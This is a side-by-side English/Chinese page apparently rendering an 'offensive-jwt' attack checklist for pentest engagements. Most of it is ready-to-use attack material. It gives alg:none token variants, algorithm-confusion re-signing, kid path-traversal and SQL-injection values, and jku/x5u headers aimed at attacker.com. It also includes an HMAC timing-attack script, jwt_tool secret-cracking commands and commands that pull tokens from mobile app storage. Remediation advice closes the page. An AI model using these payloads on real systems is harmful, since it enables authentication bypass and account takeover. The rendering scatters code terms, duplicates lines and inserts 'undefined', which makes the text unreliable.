offensive-jwt
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseOverview
概述
Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.
面向攻防安全测试的全面 JWT 攻击检查清单。请按顺序执行;根据当前目标环境应用每项技术,并记录已完成的项目。
Quick Reference: Misconfigurations to Check
快速参考:需要检查的错误配置
- Algorithm set to — signature verification bypassed entirely
none - Algorithm switching between and
RSA(confusion attack)HMAC - Weak or guessable HMAC secret (brute-forceable)
- ,
kid,jku,jwkheader parameters accepted without validationx5u - Expired or tampered tokens accepted by server
- Sensitive data stored unencrypted in payload
Useful tool: JWT Tool
- 算法设置为 ——完全绕过签名验证
none - 在 和
RSA之间切换算法(混淆攻击)HMAC - HMAC 密钥薄弱或容易猜中(可被暴力破解)
- 接受 、
kid、jku、jwkHeader 参数,但未进行验证x5u - 服务器接受已过期或被篡改的 Token
- Payload 中存储了未加密的敏感数据
实用工具:JWT Tool
Mechanisms
机制
JWTs (RFC 7519) consist of three Base64URL-encoded parts: .
header.payload.signatureSigning algorithms:
| Algorithm | Type | Notes |
|---|---|---|
| HS256/384/512 | Symmetric HMAC | Shared secret; confusion target |
| RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret |
| ES256/384/512 | Asymmetric ECDSA | |
| PS256/384/512 | RSASSA-PSS | |
| EdDSA (Ed25519/Ed448) | Asymmetric | |
| none | Unsigned | Critically insecure |
Additional pitfalls:
- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected /
typcty - JWKS retrieval: SSRF via /
jku, insecure TLS, poisoned key caching,x5ucollisionskid - Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients
JWT(RFC 7519)由三个 Base64URL 编码的部分组成:。
header.payload.signature签名算法:
| 算法 | 类型 | 备注 |
|---|---|---|
| HS256/384/512 | 对称 HMAC | 共享密钥;算法混淆攻击目标 |
| RS256/384/512 | 非对称 RSA | 公钥可能被误用作 HMAC 密钥 |
| ES256/384/512 | 非对称 ECDSA | |
| PS256/384/512 | RSASSA-PSS | |
| EdDSA(Ed25519/Ed448) | 非对称 | |
| none | 未签名 | 存在严重安全风险 |
其他隐患:
- JWS/JWE 混淆:服务器在本应接受签名 Token(JWS)时却接受加密 Token(JWE),或遇到意外的 /
typ时采用失败开放策略cty - JWKS 获取:通过 /
jku引发 SSRF、TLS 不安全、密钥缓存被投毒以及x5u冲突kid - Token 绑定(DPoP、mTLS):实现不当会允许来自其他客户端的重放
Hunt: Identifying JWT Usage
排查:识别 JWT 的使用情况
- Check headers in all requests
Authorization: Bearer <token> - Look for cookies containing JWT structures ()
eyJ... - Examine browser local/session storage
- Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
- Note any ,
kid,jku,jwkfields in the header — these are attack surfacesx5u
- 检查所有请求中的 Header
Authorization: Bearer <token> - 查找包含 JWT 结构()的 Cookie
eyJ... - 检查浏览器的 local/session storage
- 在 jwt.io 或通过 BurpSuite JWT 扩展解码 Token——检查 Claims 和 Header 参数
- 记录 Header 中的任何 、
kid、jku、jwk字段——这些都是潜在攻击面x5u
Vulnerability Map
漏洞映射
JWT Vulnerabilities
├── Algorithm Bypass
│ ├── alg:none attack
│ └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│ ├── SQL injection via kid
│ └── Path traversal via kid
├── Header Injection
│ ├── jwk (inline fake key)
│ ├── jku/x5u (remote attacker-controlled JWKS)
│ └── JWKS cache poisoning
└── Missing / Broken Validation
├── No signature check
├── Expired tokens accepted
└── iss/aud/exp not validatedJWT Vulnerabilities
├── Algorithm Bypass
│ ├── alg:none attack
│ └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│ ├── SQL injection via kid
│ └── Path traversal via kid
├── Header Injection
│ ├── jwk (inline fake key)
│ ├── jku/x5u (remote attacker-controlled JWKS)
│ └── JWKS cache poisoning
└── Missing / Broken Validation
├── No signature check
├── Expired tokens accepted
└── iss/aud/exp not validatedVulnerabilities
漏洞
Algorithm Vulnerabilities
算法漏洞
- alg:none — Some libraries disable signature validation when is
algor a case variant (none,None,NONE)nOnE - Algorithm Confusion (RS256→HS256) — Server uses RSA public key as HMAC secret when attacker switches to HS256; attacker re-signs token with the public key
alg - Key ID () Manipulation — Exploiting
kidto load wrong keys or inject file paths / SQL; enforce strict lookupskid
- alg:none——某些库在 为
alg或其大小写变体(none、None、NONE)时会禁用签名验证nOnE - 算法混淆(RS256→HS256)——当攻击者将 切换为 HS256 时,服务器会将 RSA 公钥用作 HMAC 密钥;攻击者使用该公钥重新签名 Token
alg - 密钥 ID()操纵——利用
kid加载错误密钥或注入文件路径/SQL;应强制执行严格查找kid
Signature Vulnerabilities
签名漏洞
- Weak HMAC Secrets — Brute-forceable with dictionary or hashcat
- Missing Signature Validation — Token accepted without any verification
- Broken Validation — Implementation errors in signature checking logic
- 弱 HMAC 密钥——可使用字典或 hashcat 进行暴力破解
- 缺少签名验证——服务器接受未经过任何验证的 Token
- 验证逻辑损坏——签名检查逻辑中存在实现错误
Implementation Issues
实现问题
- Missing Claims Validation — ,
exp,nbf,audnot verifiediss - Insufficient Entropy — Predictable JWT IDs or tokens
- No Expiration — Tokens valid indefinitely
- Insecure Transport — Token sent over HTTP
- Debug Leakage — Detailed error messages expose implementation
- 缺少 Claims 验证——未验证 、
exp、nbf、audiss - 熵不足——JWT ID 或 Token 可被预测
- 没有过期机制——Token 永久有效
- 传输不安全——Token 通过 HTTP 发送
- 调试信息泄露——详细错误消息暴露实现细节
Header Injection Attacks
Header 注入攻击
- JWK Injection — Supply a custom attacker-controlled public key via the header
jwk - JKU Manipulation — Point (JWK Set URL) to attacker-controlled JWKS endpoint
jku - x5u Misuse — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
- JWKS Cache Poisoning — Force caches to accept attacker keys via collisions or response header manipulation
kid - Header Abuse — Server ignores unknown critical parameters, enabling bypass
crit
- JWK 注入——通过 Header 提供攻击者控制的自定义公钥
jwk - JKU 操纵——将 (JWK Set URL)指向攻击者控制的 JWKS 端点
jku - x5u 误用——加载不可信的 X.509 密钥 URL;利用宽松的 TLS 验证或开放重定向
- JWKS 缓存投毒——通过 冲突或响应 Header 操纵,迫使缓存接受攻击者的密钥
kid - Header 滥用——服务器忽略未知的关键参数,从而导致验证绕过
crit
Information Disclosure
信息泄露
- Sensitive data (PII, credentials, session details) stored unencrypted in payload
- Internal service/backend information leaked via claims
- Payload 中以未加密形式存储敏感数据(PII、凭据、会话详情)
- Claims 泄露内部服务或后端信息
Additional Attack Vectors
其他攻击向量
Mobile App JWT Storage
移动应用 JWT 存储
Android:
- : Check if world-readable; location
SharedPreferences/data/data/<package>/shared_prefs/ - Keystore extraction: root device or exploit app
- Backup extraction: (if
adb backup -f backup.ab <package>)allowBackup=true - Tools: Frida, objection, MobSF
iOS:
- Keychain: Check —
kSecAttrAccessibleis insecurekSecAttrAccessibleAlways - iTunes/iCloud backup extraction: unencrypted backups expose Keychain
- Jailbreak + Keychain-Dumper for full extraction
- Tools: Frida, objection, idb
React Native / Hybrid:
- stored in plain text (Android SQLite DB, iOS plist); no encryption by default
AsyncStorage
bash
undefinedAndroid:
- :检查是否可被全局读取;路径为
SharedPreferences/data/data/<package>/shared_prefs/ - Keystore 提取:对设备进行 root 操作或利用应用漏洞
- 备份提取:(当
adb backup -f backup.ab <package>时)allowBackup=true - 工具:Frida、objection、MobSF
iOS:
- Keychain:检查 ——
kSecAttrAccessible不安全kSecAttrAccessibleAlways - iTunes/iCloud 备份提取:未加密的备份会暴露 Keychain
- 越狱结合 Keychain-Dumper 可完整提取数据
- 工具:Frida、objection、idb
React Native / Hybrid:
- 以明文形式存储(Android SQLite DB、iOS plist);默认不加密
AsyncStorage
bash
undefinedAndroid — check SharedPreferences
Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
iOS — extract from backup
iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
idevicebackup2 backup --full /path/to/backup
Use plist/sqlite tools to extract JWT
Use plist/sqlite tools to extract JWT
undefinedundefinedJWT Confusion Attacks
JWT 混淆攻击
- SAML-JWT Confusion — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
- API Key-JWT Confusion — Test sending JWT where API key expected and vice versa
- Session Cookie-JWT Hybrid — Test expired JWT with valid session cookie; inject JWT claims into session
- OAuth Token Confusion — Send ID token (JWT) to resource server expecting opaque access token
bash
undefined- SAML-JWT 混淆——应用同时接受 SAML 和 JWT;在预期位置发送另一种格式的 Token,或利用验证更宽松的路径
- API Key-JWT 混淆——测试在需要 JWT 的位置发送 API Key,以及在需要 API Key 的位置发送 JWT
- Session Cookie-JWT 混合——测试使用已过期的 JWT 和有效的 Session Cookie;将 JWT Claims 注入 Session
- OAuth Token 混淆——向预期接收 opaque access token 的资源服务器发送 ID Token(JWT)
bash
undefinedTry API key where JWT expected
Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource
curl -H "Authorization: Bearer <api_key>" https://api.target/resource
Try JWT where API key expected
Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
undefinedcurl -H "X-API-Key: <jwt_token>" https://api.target/resource
undefinedTiming Attacks on HMAC
HMAC 时序攻击
Non-constant-time comparison leaks the HMAC secret character by character via response time differences.
python
import requests, time
def time_request(signature):
start = time.perf_counter()
r = requests.get('https://target/api',
headers={'Authorization': f'Bearer header.payload.{signature}'})
return time.perf_counter() - start非常量时间比较会通过响应时间差异逐字符泄露 HMAC 密钥。
python
import requests, time
def time_request(signature):
start = time.perf_counter()
r = requests.get('https://target/api',
headers={'Authorization': f'Bearer header.payload.{signature}'})
return time.perf_counter() - startBrute-force first byte — longer response time indicates correct byte
Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
sig = bytes([byte]) + b'\x00' * 31
t = time_request(sig.hex())
undefinedfor byte in range(256):
sig = bytes([byte]) + b'\x00' * 31
t = time_request(sig.hex())
undefinedJWT in URL Parameters
URL 参数中的 JWT
- Tokens in GET URLs appear in server logs, proxy logs, browser history
- Leaked via header to external sites; CDN/cache logs may persist tokens
Referer
bash
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.
- GET URL 中的 Token 会出现在服务器日志、代理日志和浏览器历史记录中
- 通过 Header 泄露给外部站点;CDN 或缓存日志可能长期保留 Token
Referer
bash
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."使用 Wayback Machine 检查包含 Token 的历史 URL;监控发往第三方分析服务的 Header。
RefererManual Testing Steps
手动测试步骤
-
Decode and Inspect:
base64url_decode(header) . base64url_decode(payload) . signature -
TestAlgorithm (try all case variants):
none{"alg":"none","typ":"JWT"}.payload."" {"alg":"None","typ":"JWT"}.payload."" {"alg":"NONE","typ":"JWT"}.payload."" {"alg":"nOnE","typ":"JWT"}.payload."" -
Algorithm Confusion (RS256→HS256):
# Re-sign with RSA public key used as HMAC secret {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret> -
kid Parameter Attacks:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"} {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"} {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"} -
JWK/JKU Injection:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}} {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"} -
x5u / crit Handling:
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"} {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null} -
Brute Force HMAC Secret:bash
python3 jwt_tool.py <token> -C -d wordlist.txt -
Test Missing Claim Validation:
- Remove or modify (expiration)
exp - Change (issuer) or
iss(audience)aud - Modify (issued at) or
iat(not before)nbf
- Remove or modify
-
解码并检查:
base64url_decode(header) . base64url_decode(payload) . signature -
测试算法(尝试所有大小写变体):
none{"alg":"none","typ":"JWT"}.payload."" {"alg":"None","typ":"JWT"}.payload."" {"alg":"NONE","typ":"JWT"}.payload."" {"alg":"nOnE","typ":"JWT"}.payload."" -
算法混淆(RS256→HS256):
# Re-sign with RSA public key used as HMAC secret {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret> -
kid 参数攻击:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"} {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"} {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"} -
JWK/JKU 注入:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}} {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"} -
x5u / crit 处理:
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"} {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null} -
暴力破解 HMAC 密钥:bash
python3 jwt_tool.py <token> -C -d wordlist.txt -
测试缺失的 Claims 验证:
- 删除或修改 (过期时间)
exp - 修改 (颁发者)或
iss(受众)aud - 修改 (颁发时间)或
iat(生效时间)nbf
- 删除或修改
Automated Testing with JWT_Tool
使用 JWT_Tool 进行自动化测试
bash
undefinedbash
undefinedBasic token inspection
Basic token inspection
python3 jwt_tool.py <token>
python3 jwt_tool.py <token>
Full vulnerability scan
Full vulnerability scan
python3 jwt_tool.py <token> -M all
python3 jwt_tool.py <token> -M all
Targeted attacks
Targeted attacks
python3 jwt_tool.py <token> -X a # Algorithm confusion
python3 jwt_tool.py <token> -X n # Null/none signature
python3 jwt_tool.py <token> -X i # Identity theft
python3 jwt_tool.py <token> -X k # Key confusion
python3 jwt_tool.py <token> -X a # Algorithm confusion
python3 jwt_tool.py <token> -X n # Null/none signature
python3 jwt_tool.py <token> -X i # Identity theft
python3 jwt_tool.py <token> -X k # Key confusion
Crack HMAC secret
Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt
**Other tools:**
- JWT.io — basic token inspection and debugging
- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
- jwtXploiter — advanced JWT vulnerability scanning
- c-jwt-cracker — high-speed HMAC brute force (C implementation)
- Frida, objection, MobSF — mobile JWT extractionpython3 jwt_tool.py <token> -C -d wordlist.txt
**其他工具:**
- JWT.io——基础 Token 检查和调试
- Burp Suite JWT Scanner / JWT Editor 扩展——自动化测试和 Token 编辑
- jwtXploiter——高级 JWT 漏洞扫描
- c-jwt-cracker——高速 HMAC 暴力破解(C 实现)
- Frida、objection、MobSF——移动端 JWT 提取Remediation Recommendations
修复建议
- Use short-lived access tokens; rotate refresh tokens frequently
- Always validate (audience) and
aud(issuer) claimsiss - Disable algorithm; prevent algorithm downgrades; pin
noneper client/issueralg - Ensure key material loaded for verification matches ; reject mismatches
alg - Reject tokens with unknown header parameters
crit - Validate JWKS over pinned TLS; disallow remote /
jkuexcept trusted domains; short-TTL key caching withx5uuniquenesskid - Enforce maximum token length; disable JWE compression unless required
- Maintain server-side deny-list keyed by for early revocation
jti - For DPoP tokens (): verify proof binds to HTTP request; enforce one-time nonce use
typ:"dpop+jwt" - Bind sessions to device when possible; rotate refresh tokens on every use
- Prefer HttpOnly cookies for web; avoid localStorage for access tokens
SameSite=Lax/Strict
- 使用短期 Access Token;定期轮换 Refresh Token
- 始终验证 (受众)和
aud(颁发者)Claimsiss - 禁用 算法;防止算法降级;针对每个客户端或颁发者固定
nonealg - 确保用于验证的密钥材料与 匹配;拒绝不匹配的组合
alg - 拒绝包含未知 Header 参数的 Token
crit - 通过固定 TLS 配置验证 JWKS;除受信任域名外禁止远程 /
jku;采用短 TTL 密钥缓存并确保x5u唯一kid - 限制 Token 的最大长度;除非必要,否则禁用 JWE 压缩
- 维护以 为键的服务端拒绝列表,以便提前吊销 Token
jti - 对于 DPoP Token():验证 proof 与 HTTP 请求绑定;强制 nonce 仅可使用一次
typ:"dpop+jwt" - 尽可能将 Session 绑定到设备;每次使用时轮换 Refresh Token
- Web 端优先使用 HttpOnly Cookie;避免将 Access Token 存储在 localStorage 中
SameSite=Lax/Strict
Alternatives & Modern Mitigations
替代方案与现代缓解措施
- PASETO — removes algorithm negotiation entirely; eliminates confusion attacks
- Macaroons — bearer tokens with attenuable, caveat-based delegation
- DPoP and mTLS — bind tokens to the client to prevent replay
- PASETO——完全移除算法协商;消除混淆攻击
- Macaroons——支持衰减和基于 caveat 的委派机制的 Bearer Token
- DPoP 和 mTLS——将 Token 绑定到客户端,防止重放